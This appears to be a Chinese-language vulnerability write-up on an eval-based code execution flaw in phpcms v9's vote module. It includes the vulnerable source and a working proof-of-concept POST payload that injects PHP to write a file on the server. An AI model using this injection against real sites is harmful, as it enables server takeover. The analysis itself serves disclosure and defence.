phpcms前台任意代码执行(有php版本限制)

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞

/phpsso_server/phpcms/libs/functions/global.func.php

/**
* 将字符串转换为数组
*
* @param	string	$data	字符串
* @return	array	返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
	if($data == '') return array();
	eval("\$array = $data;");
	return $array;
}

在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程

	/**
	 * 处理投票
	 */
	public function post(){
		$subjectid = intval($_POST['subjectid']);
		if(!$subjectid)	showmessage(L('vote_novote'),'blank');
		//当前站点
		$siteid = SITEID;
		//判断是否已投过票,或者尚未到第二次投票期
		$return = $this->check($subjectid);
 		switch ($return) {
		case 0:
		  showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
		  break;
		case -1:
		  showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
		  break;
		}
		if(!is_array($_POST['radio'])) showmessage(L('vote_nooption'),'blank');
    	$time = SYS_TIME;
 		
   		$data_arr = array();
  		foreach($_POST['radio'] as $radio){  //接收POST传递的radio并转换为$radio数组
  			$data_arr[$radio]='1';
  		}
  		$new_data = array2string($data_arr);//转成字符串存入数据库中  
  		//添加到数据库
		$this->vote_data->insert(array('userid'=>$this->userid,'username'=>$this->username,'subjectid'=>$subjectid,'time'=>$time,'ip'=>$this->ip,'data'=>$new_data));
		//把字符串$new_data放到data里面
 		//查询投票奖励点数,并更新会员点数
 		$vote_arr = $this->vote->get_one(array('subjectid'=>$subjectid));
  		pc_base::load_app_class('receipts','pay',0);
		receipts::point($vote_arr['credit'],$this->userid, $this->username, '','selfincome',L('vote_post_point'));
 		//更新投票人数 
 		$this->vote->update(array('votenumber'=>'+=1'),array('subjectid'=>$subjectid));
		showmessage(L('vote_votesucceed'), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
	}
	
	/**
	 * 
	 * 投票结果显示 
	 */
	public function result(){
		$siteid = SITEID;
		$subjectid = abs(intval($_GET['subjectid']));
		if(!$subjectid)	showmessage(L('vote_novote'),'blank');
		//取出投票标题
		$subject_arr = $this->vote->get_subject($subjectid);
		if(!is_array($subject_arr)) showmessage(L('vote_novote'),'blank');
		extract($subject_arr);
		//获取投票选项
		$options = $this->vote_option->get_options($subjectid);
		
		//新建一数组用来存新组合数据
        $total = 0;
        $vote_data =array();
		$vote_data['total'] = 0 ;//所有投票选项总数
		$vote_data['votes'] = 0 ;//投票人数
		
		//获取投票结果信息
        $infos = $this->vote_data->select(array('subjectid'=>$subjectid),'data');	
		//循环每个会员的投票记录
		foreach($infos as $subjectid_arr) {
				extract($subjectid_arr);
 				$arr = string2array($data);//调用了string2array执行
 				foreach($arr as $key => $values){
 					$vote_data[$key]+=1;
				}
 				$total += array_sum($arr);
				$vote_data['votes']++ ;
		}
 		$vote_data['total'] = $total ;
 		//SEO设置 
		$SEO = seo(SITEID, '', $subject, $description, $subject);
   		include template('vote','vote_result');
	}

所以执行的过程就是
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据

/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"just a test");

3.然后我们再查看result,触发string2array函数

/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1

4.再看看是否有readme.php文件存在

发表评论